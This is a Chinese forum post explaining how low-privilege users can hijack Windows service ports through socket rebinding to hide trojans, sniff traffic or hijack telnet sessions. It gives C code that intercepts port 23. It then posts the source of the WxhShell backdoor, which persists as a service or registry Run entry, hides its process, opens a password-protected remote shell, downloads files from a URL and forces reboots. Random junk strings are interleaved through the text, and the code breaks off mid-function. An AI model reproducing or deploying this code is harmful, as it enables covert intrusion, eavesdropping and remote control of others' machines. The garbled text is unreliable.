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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: XXwhs-:o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pbvEIa-Y4  
5)v^ cR?&  
  saddr.sin_family = AF_INET; gwz _b  
udy;Odt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;,})VoC\!  
%dU'$)  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =+=|{l?F  
7%}3Ghc%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DJ [#H  
U(]5U^  
  这意味着什么?意味着可以进行如下的攻击: +;iesULXn  
:(p rx   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :*+BBC  
.F3LA6se  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %1 ^jd\  
f vM3.P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j<P%Uy+  
*!Y3N<>!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,k!f`  
1V3J:W#;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }3_G|  
>`|uc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &2]D+aL|h  
GO3YXO33  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *-LU'yM6Yh  
y8S6ZtA}2  
  #include q<uLBaL_]r  
  #include <~X6D?  
  #include eRy'N|'  
  #include    GWZXRUc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t8N9/DZ}Q  
  int main() RWQW/Gw x  
  {  Q<ExfJm  
  WORD wVersionRequested; Xgc\O08  
  DWORD ret; mT~>4xi0  
  WSADATA wsaData; 5nq-b@?L  
  BOOL val; P1>X5:  
  SOCKADDR_IN saddr; 8Xzx ;-&4  
  SOCKADDR_IN scaddr; ;1k0o.3  
  int err; }t-|^mY>  
  SOCKET s; wSyu^KDz  
  SOCKET sc; SfFR  
  int caddsize; F^G`Jf  
  HANDLE mt; DmPsltpzQ  
  DWORD tid;   64X#:t+  
  wVersionRequested = MAKEWORD( 2, 2 ); c qyh#uWe  
  err = WSAStartup( wVersionRequested, &wsaData ); (4{9 QO  
  if ( err != 0 ) { G&3<rT3Ib  
  printf("error!WSAStartup failed!\n"); <sB45sNbU`  
  return -1; qAik$.  
  } &.4_4"l(  
  saddr.sin_family = AF_INET; km^+ mK  
   %9Fg1LH42r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X(z-?6N4  
L/LN X{|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l>?vjy65  
  saddr.sin_port = htons(23); DkKD~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  /?xn  
  { 9cj-v}5j  
  printf("error!socket failed!\n"); \^LR5S&  
  return -1; {/!Gh\i  
  } vkgL"([_  
  val = TRUE; Q^w]Nj(e_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pdiZ"pe  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "Oko|3  
  { [E7@W[xr  
  printf("error!setsockopt failed!\n"); Jz0S2&  
  return -1; tp2 _OQAQ  
  } KptLeb:Om  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .. TjEBp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <F & hfy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'B6H/d>  
bQjHQ"G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'Pu;]sC  
  { Bys|i0tb-  
  ret=GetLastError(); p'}%pAY  
  printf("error!bind failed!\n"); OR8o%AxL7  
  return -1; Tou~U[V+  
  } hI{Yg$H1  
  listen(s,2); UQPE)G  
  while(1) Oh4WYDyT  
  { F[Sat;Sll  
  caddsize = sizeof(scaddr); dtl<  
  //接受连接请求 iUBni&B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e'&{KD,-T  
  if(sc!=INVALID_SOCKET) rP4@K%F9jB  
  { 9ksrr{tW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lM,:c.R  
  if(mt==NULL) ]#.#]}=  
  {  B4ze$#  
  printf("Thread Creat Failed!\n"); n #/m7  
  break; our5k   
  } qJj5J;k  
  } f BOG#-a}  
  CloseHandle(mt); P'~3WL4MKs  
  } {HnOUc\4  
  closesocket(s); o]U ==  
  WSACleanup(); ]NsaFDi\  
  return 0; rRel\8  
  }   Y%@'a~  
  DWORD WINAPI ClientThread(LPVOID lpParam) \YS\* 'F  
  { @CDRbXoFk  
  SOCKET ss = (SOCKET)lpParam; #JucOWxjY  
  SOCKET sc; '~J6 mojE  
  unsigned char buf[4096]; 3)\qt s5  
  SOCKADDR_IN saddr; {Aw3Itef  
  long num; RUu'9#fq  
  DWORD val; nQ~L.V  
  DWORD ret; 3om-,gfZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .R5z>:A  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?K 0V#aq  
  saddr.sin_family = AF_INET; Y,~]ecI  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <~w#sIh  
  saddr.sin_port = htons(23); X ii#Qtd.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IA `  
  { b@hoH)<9E  
  printf("error!socket failed!\n"); |D:0BATRP  
  return -1; w2[R&hJ  
  } .`XA6e(8KR  
  val = 100; $@;[K \  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IRa*}MJe  
  { ^)~M,rW8c  
  ret = GetLastError(); K? k`U,  
  return -1; FG\?_G  
  } %xz02$k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sNVD"M,  
  { h+@t8Q;gGw  
  ret = GetLastError(); \gpKQt0  
  return -1; |\t_I~de  
  } HfPeR8I%i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "RA$Twhj  
  { OQvJdjST  
  printf("error!socket connect failed!\n"); n0q(EQy1U  
  closesocket(sc);  P_g  
  closesocket(ss); -bF+uCfba  
  return -1; * =l9gv&  
  } + aF jtb  
  while(1) !ZW0yCwLQ  
  { nE84W$\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [bXZPIz;j  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >2/zL.O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WAbhB A  
  num = recv(ss,buf,4096,0); l1 S1CS  
  if(num>0) [-ecKPx  
  send(sc,buf,num,0); ]\lw^.%  
  else if(num==0) E?uv&evPK7  
  break; CjGI}t  
  num = recv(sc,buf,4096,0); A )cb  
  if(num>0) H<"j3qt  
  send(ss,buf,num,0); _guY%2% yR  
  else if(num==0) (k~c]N)v  
  break; v*LL7b0 A  
  } Kw|`y %~  
  closesocket(ss); ZlzFmNe60  
  closesocket(sc); { L5m`-x  
  return 0 ; ~-/AKaK}  
  } aXagiz\;  
Wwz{98,K  
(x@"Dp=MZW  
========================================================== =[&Jxy>Y  
p\K5B,  
下边附上一个代码,,WXhSHELL >smaR^m  
I1,?qr"Zr  
========================================================== 79DC]48M  
rIb{=';  
#include "stdafx.h" :.,I4>b2  
n9^zAcUbAW  
#include <stdio.h> o%a$m9I  
#include <string.h> 3'wBX  
#include <windows.h> p:jrqjLp  
#include <winsock2.h> mfvQ]tz_+  
#include <winsvc.h> x@=7M'vr%  
#include <urlmon.h> ~cjvo?)&e;  
DI\sq8J^  
#pragma comment (lib, "Ws2_32.lib") rgCId@R  
#pragma comment (lib, "urlmon.lib") eMwf'*#  
r[x7?cXsW  
#define MAX_USER   100 // 最大客户端连接数 5tL6R3  
#define BUF_SOCK   200 // sock buffer *QX$Mo^E  
#define KEY_BUFF   255 // 输入 buffer 8 _J:Yg  
XN@5TZoaW  
#define REBOOT     0   // 重启 YAo g;QL  
#define SHUTDOWN   1   // 关机 6FE[snw  
u(R`}C?P'  
#define DEF_PORT   5000 // 监听端口 *))|ZE6jI  
M<nn+vy`  
#define REG_LEN     16   // 注册表键长度 ~xCy(dL^}  
#define SVC_LEN     80   // NT服务名长度 fu/c)D6u*m  
w#XJ!f6*_9  
// 从dll定义API >Vvc55z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Evc 9k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &}r932  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KB^IGF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5eYCnc9  
1^COR+>L  
// wxhshell配置信息 fOJyY[  
struct WSCFG { dj=n1f+;[  
  int ws_port;         // 监听端口 B06/mKZ7  
  char ws_passstr[REG_LEN]; // 口令 y}VKFRky  
  int ws_autoins;       // 安装标记, 1=yes 0=no iq#Z\Y(  
  char ws_regname[REG_LEN]; // 注册表键名 T1E=<q4  
  char ws_svcname[REG_LEN]; // 服务名 [o~w>,a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,<BTv;4p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?6Gq &  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5>HI/QG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PJLA^eC7>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "7g: u-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qv:WC TAn  
SO)??kQ{U  
}; 2+enRR~  
h5JXKR.1]c  
// default Wxhshell configuration ll#PCgIm  
struct WSCFG wscfg={DEF_PORT, iAN#TCwLT7  
    "xuhuanlingzhe", ;8@A7`^  
    1, ,oC r6 ]  
    "Wxhshell", i< ih :  
    "Wxhshell", _ |; bh  
            "WxhShell Service", nT>?}/S  
    "Wrsky Windows CmdShell Service", Oj:`r*z43  
    "Please Input Your Password: ", W +S>/`N  
  1, k`-L5#`  
  "http://www.wrsky.com/wxhshell.exe", w*+rBp,f  
  "Wxhshell.exe" >QyMeH  
    }; d+(~{xK:  
K"pfp !Y  
// 消息定义模块 1#'wR3[+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xf0pQ]8\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4&\m!s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @*oi1_q  
char *msg_ws_ext="\n\rExit."; TzOf&cs/r  
char *msg_ws_end="\n\rQuit."; tFGLqR%/  
char *msg_ws_boot="\n\rReboot..."; jkbz8.K  
char *msg_ws_poff="\n\rShutdown..."; ,=mn*  
char *msg_ws_down="\n\rSave to "; 43eGfp'  
gnv4.f:  
char *msg_ws_err="\n\rErr!"; |89`O^   
char *msg_ws_ok="\n\rOK!"; u!Z&c7kPI  
7 MfpZgC  
char ExeFile[MAX_PATH]; u$0>K,f  
int nUser = 0; 8S0)_L#S  
HANDLE handles[MAX_USER]; *}?^)z7w  
int OsIsNt; MV/JZ;55  
.JzO f[g5  
SERVICE_STATUS       serviceStatus;  np~oF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %spR7J\"/  
/XXW4_>  
// 函数声明 th]9@7UE,  
int Install(void); Rzb] mM  
int Uninstall(void); S4Rv6{r:  
int DownloadFile(char *sURL, SOCKET wsh); (]ORB0kl  
int Boot(int flag); znM"P|A  
void HideProc(void); S\C   
int GetOsVer(void); A%9"7]:   
int Wxhshell(SOCKET wsl); lU@ni(69d  
void TalkWithClient(void *cs); B *:6U+I  
int CmdShell(SOCKET sock); ^x q%P2s0  
int StartFromService(void); 03,+uf  
int StartWxhshell(LPSTR lpCmdLine); Q>.-u6(&  
Y4i-Pp?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4[6A~iC_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9gFC]UVWh  
#i~.wQ $1  
// 数据结构和表定义 )wKuumet  
SERVICE_TABLE_ENTRY DispatchTable[] = TPkm~>zD.  
{ c!I> _PD`&  
{wscfg.ws_svcname, NTServiceMain}, nI 6`/  
{NULL, NULL} ^,?]]=mE  
}; [P[syi#]t  
`+<5QtD  
// 自我安装 pdE=9l'  
int Install(void) kJ~^  }o  
{ MOj 0"x)  
  char svExeFile[MAX_PATH]; %1#5 7-  
  HKEY key; hX;xbl  
  strcpy(svExeFile,ExeFile); KB-7]H  
VQX#P<  
// 如果是win9x系统,修改注册表设为自启动 6OVAsmE  
if(!OsIsNt) { $ @^n3ZQ4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %DiZ&}^Ck  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PPohpdd)  
  RegCloseKey(key); bzZEwMc6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /$B<+;L!#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vHao y  
  RegCloseKey(key); 50CU|  
  return 0; N?~K9jGx(  
    } ?4xTA  
  } =6? 3c\  
} H*l8,*M}  
else { ~_R=2t{u _  
 |,.glL  
// 如果是NT以上系统,安装为系统服务 {4#'`Eejj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T9u/|OP  
if (schSCManager!=0) B=9|g1e  
{ |vzGFfRI  
  SC_HANDLE schService = CreateService h8nJ$jg  
  ( ?+51 B-  
  schSCManager, YncY_Hu  
  wscfg.ws_svcname, bj7v<G|Y  
  wscfg.ws_svcdisp, L8!xn&uyP=  
  SERVICE_ALL_ACCESS, xGz$M@f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R,tR{| 8  
  SERVICE_AUTO_START, wWwY .}j  
  SERVICE_ERROR_NORMAL, KaOS!e'  
  svExeFile, HmQuRW  
  NULL, Y,?rykRj  
  NULL, -[ F<u  
  NULL, N>VA`+aFR  
  NULL, n- p|7N  
  NULL Cgt{5  
  ); Y0U:i.)  
  if (schService!=0) p=eSHs{>A  
  { [t,7H  
  CloseServiceHandle(schService); W| ~Ehg  
  CloseServiceHandle(schSCManager); U{HJNftdpm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sHKT]^7  
  strcat(svExeFile,wscfg.ws_svcname); ca-|G'q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1J^{h5?lU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -p9|l%W  
  RegCloseKey(key); RzNv|   
  return 0; {V8 v  
    } ~GMlnA]6  
  } ~`T3 i  
  CloseServiceHandle(schSCManager); \U,.!'+  
} "]`!#5j^WP  
} <0pBu7a  
O7:JG[tR*  
return 1; i9W@$I,f  
} a&|aK+^8;  
6EJ,czt(  
// 自我卸载 Q;SMwCB0M  
int Uninstall(void) HJM-;C](  
{ ]*Zg(YA  
  HKEY key; jF{zcYU  
Z&YW9de@  
if(!OsIsNt) { u|APx8?"o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N }Z"$4  
  RegDeleteValue(key,wscfg.ws_regname); {B uh5U,  
  RegCloseKey(key); )9J&M6LX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Aai.PE:  
  RegDeleteValue(key,wscfg.ws_regname); YWjw`,EA(  
  RegCloseKey(key); $Y 7q2  
  return 0; < JA5.6<=  
  } Bxak[>/  
} \,lgv  
} Fb VtyQz  
else { E[^66(KR  
;E(%s=i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ho;Km  
if (schSCManager!=0) $D\SueZ  
{ G5?Dt-;I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wSnY;Z9W_  
  if (schService!=0) @~xNax&^  
  { 4)i/B99k  
  if(DeleteService(schService)!=0) { /N]?>[<NW  
  CloseServiceHandle(schService); Tw);`&Ulo  
  CloseServiceHandle(schSCManager); PO ]z'LD  
  return 0; cYq<.A(hVj  
  } yiiYq(\{  
  CloseServiceHandle(schService); 80LKxA;5N  
  } T)qD}hl  
  CloseServiceHandle(schSCManager); ~~]L!P  
} PL[7|_%  
} 1\TXb!OtL  
kuqf(  
return 1; RL SP?o2J  
} +m]$P,yMt  
St^s"A  
// 从指定url下载文件 (s z=IB ;  
int DownloadFile(char *sURL, SOCKET wsh) F2:?lmhL<  
{ ?(n|ykXwc  
  HRESULT hr; la[xbv   
char seps[]= "/"; [0w @0?[  
char *token; `c ^2  
char *file; }L3kpw  
char myURL[MAX_PATH]; N{ @B@]  
char myFILE[MAX_PATH]; *O+G}_}  
/MO|q  
strcpy(myURL,sURL); gyondcF  
  token=strtok(myURL,seps); 1zl6Rwk^o  
  while(token!=NULL)  _p<s!  
  { ;3-5U&Axt  
    file=token; Re0ma%~LP  
  token=strtok(NULL,seps); lrPiaSO`I  
  } ^?VYE26  
U5[xW  
GetCurrentDirectory(MAX_PATH,myFILE); HE,# pj(D  
strcat(myFILE, "\\"); TG~:Cmc  
strcat(myFILE, file); j ~:Dr   
  send(wsh,myFILE,strlen(myFILE),0); m$Lq#R={Z  
send(wsh,"...",3,0); }1f@>'o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ko16wfg  
  if(hr==S_OK) +'Ec)7m  
return 0; }E+#*R3auB  
else K1AI:$H  
return 1; G>qzAgA  
GNlP]9wX  
} w(zlHj  
S~.:B2=5K  
// 系统电源模块 nb9qVuAGU  
int Boot(int flag) ^w/_hY!4/  
{ qM~ev E$%  
  HANDLE hToken; SxdH %agM  
  TOKEN_PRIVILEGES tkp; /pt%*;H  
\cP\I5IW:s  
  if(OsIsNt) { llXyM */  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s_}T -%\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,|,DXw  
    tkp.PrivilegeCount = 1; uW3`gwwlU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3Sv<Viuo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &'uFy0d,  
if(flag==REBOOT) { Pwn"!pk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L1 1/XpR  
  return 0; \BOZhXfl'  
} (p08jR '5  
else { id="\12Bw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n a,j  
  return 0; 2>Bx/QF@<  
} BFmd`#{l  
  } ?>SC:{(  
  else { 8M9 &CsT6  
if(flag==REBOOT) { j'Z}; 3y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eLXG _Qb"  
  return 0; U?P5 cN  
} uDJi2,|n  
else { ~3< Li}W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {p&L wTnf  
  return 0;  ^AS*X2y  
} UT|FV twO  
} #05#@v8.f  
n>T1KC%  
return 1; 484lB}H  
} mojD  
>DeG//rv  
// win9x进程隐藏模块 P$?3\`U;  
void HideProc(void) # Y/ .%ch.  
{ FTZ][  
&rj3UF@hb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }YH@T]O}  
  if ( hKernel != NULL ) l=G=J(G  
  { =X6WK7^0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?9 hw]Q6r}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1:%HE*r  
    FreeLibrary(hKernel); uKHkC.g  
  } GP6-5Y"8  
E~Eh'>Y(B  
return; c |OIUc  
} -h+=^,  
FjYih>  
// 获取操作系统版本 %y ;E1pva  
int GetOsVer(void) H-$)@  
{ y1z<{'2x  
  OSVERSIONINFO winfo; iLiEh2%P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ICwhqH&  
  GetVersionEx(&winfo); jsL\{I^>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HL-zuZa`Ju  
  return 1; 9N5ptdP.d  
  else gU1E6V-Jm  
  return 0; -S5M>W.Qb{  
} Ej\EuX  
C,T9xm  
// 客户端句柄模块 <Hw)},_*  
int Wxhshell(SOCKET wsl) %"Tn=fZIF  
{ R r7r5  
  SOCKET wsh; ~RGZY/4  
  struct sockaddr_in client; wmbjL=f Ia  
  DWORD myID; ~Vq<nkWS  
e]R`B}vO  
  while(nUser<MAX_USER) # hvLv  
{ D5x }V  
  int nSize=sizeof(client); QB p`r#{I{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v).V&":  
  if(wsh==INVALID_SOCKET) return 1; PF5;2  
pJ kaP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  Gh;Ju[6  
if(handles[nUser]==0) C;7?TZ&xw  
  closesocket(wsh); A;VjMfoB  
else s6Ox!)&  
  nUser++; Zo`Ku+RL2'  
  } %%J)@k^vH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z'sAu#C  
pGEYke NU  
  return 0; ,Y 1&[  
} ` QC  
pUtd_8  
// 关闭 socket *PQu9>1w  
void CloseIt(SOCKET wsh) v,z s dr"d  
{ %Ci`O hT  
closesocket(wsh); PAG.],"D  
nUser--; 0 ?kaXD  
ExitThread(0); wc z|Zy  
} pm$ZKM  
|tL57Wu93  
// 客户端请求句柄 tj:3R$a  
void TalkWithClient(void *cs) ANB@cK_  
{ =*EIe z*.x  
242dT/j  
  SOCKET wsh=(SOCKET)cs; z~tCag8I(k  
  char pwd[SVC_LEN]; *=UxX ] 0y  
  char cmd[KEY_BUFF]; Pp-\#WJ  
char chr[1]; 3exv k  
int i,j; f+>l-6M+p  
5)X;q-  
  while (nUser < MAX_USER) { ZI"L\q=|0#  
_-/aMfyQ  
if(wscfg.ws_passstr) { S |SN3)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IHqY/j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kjbt1n  
  //ZeroMemory(pwd,KEY_BUFF); eZDqW)x  
      i=0; :B(F ?9qK  
  while(i<SVC_LEN) { o+(>/Ou  
~x<nz/^  
  // 设置超时 s|iph~W!L  
  fd_set FdRead; m8KJ~02l#  
  struct timeval TimeOut; !]c]:ed\C  
  FD_ZERO(&FdRead); v=!Ap ; 2L  
  FD_SET(wsh,&FdRead); WT(inf[  
  TimeOut.tv_sec=8; 6u-@_/O5R3  
  TimeOut.tv_usec=0; d&S4`\g?8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /*g9drwaa  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~"\qX+  
08)X:@ w?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ut6M$d4  
  pwd=chr[0]; 4R_Vi[i  
  if(chr[0]==0xd || chr[0]==0xa) { HSq.0vYl6  
  pwd=0; [$; \1P/  
  break; (_&W@:"z  
  } }1]E=!?)&  
  i++; :eaqUW!Y  
    } 3w&fN3 1  
-TnvX(ok4  
  // 如果是非法用户,关闭 socket f:$LVpXS-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T3po.Km\{  
} :1%z;  
eL)* K>T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ENu`@S='I3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vfID@g`!q+  
3{e7j6u\  
while(1) { [hy:BV6H+  
(qn ;MN6<  
  ZeroMemory(cmd,KEY_BUFF); x!\FB.h4!(  
|~'D8 g:Ak  
      // 自动支持客户端 telnet标准   J?/.|Y]e  
  j=0; } sTo,F$  
  while(j<KEY_BUFF) { u<8 f ;C_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {"<6'2T3  
  cmd[j]=chr[0]; ml7nt 0{  
  if(chr[0]==0xa || chr[0]==0xd) { yX:A?U  
  cmd[j]=0; .Z=4,m>  
  break; cY/!z  
  } jO'+r'2B9  
  j++; 3/ sKRU  
    } )h(Dt(2Wm  
|12Cg>;j*n  
  // 下载文件 g@WGd(o0)  
  if(strstr(cmd,"http://")) { a`}b'X:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y/' ^r?  
  if(DownloadFile(cmd,wsh)) C N9lK29F)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9*Lo[EXO  
  else \EH:FM}l,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u3{gX{so  
  } Y-(),k_Q:  
  else { HV:mS*e  
EZvB#cuL-  
    switch(cmd[0]) { X]'Hz@$N  
  <pd6,l\  
  // 帮助 5j(3pV`_  
  case '?': { $V"NB`T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qX'w}nJ}H}  
    break; xl5n(~g)p  
  } $YDZtS&h  
  // 安装 7mulNq  
  case 'i': { S@suPkQ<>  
    if(Install()) nJ/wtw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F?j;3@z[A  
    else N*t91 X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r4Ygy/%  
    break; ZdQm& ?  
    } >M.?qs4  
  // 卸载 uA;3R\6?  
  case 'r': { wK 8/`{B9  
    if(Uninstall()) />fP )56*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'BT}'qN  
    else T-7'#uB.m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Rid 1;L0U  
    break; y<YVb@O.  
    } AYHfe#!  
  // 显示 wxhshell 所在路径 s PNX)  
  case 'p': { DbSl}N;  
    char svExeFile[MAX_PATH]; k*bfq?E a  
    strcpy(svExeFile,"\n\r"); Uo{h. .7?  
      strcat(svExeFile,ExeFile); w>I>9O}(`  
        send(wsh,svExeFile,strlen(svExeFile),0); 7^k`:Z  
    break; +Ux)m4}j  
    } NLDmZra  
  // 重启 =J.)xDx*  
  case 'b': { W>b(hVBE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qB3{65  
    if(Boot(REBOOT)) fFXG;Q8&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =YX/]g|9K  
    else { ]ABpOrg  
    closesocket(wsh); 4QWDuLu  
    ExitThread(0);  9H*$3  
    } &fYx0JT  
    break; b5YjhRimS  
    } S~vbISl  
  // 关机 ZTG*|  
  case 'd': { ~p~8T  
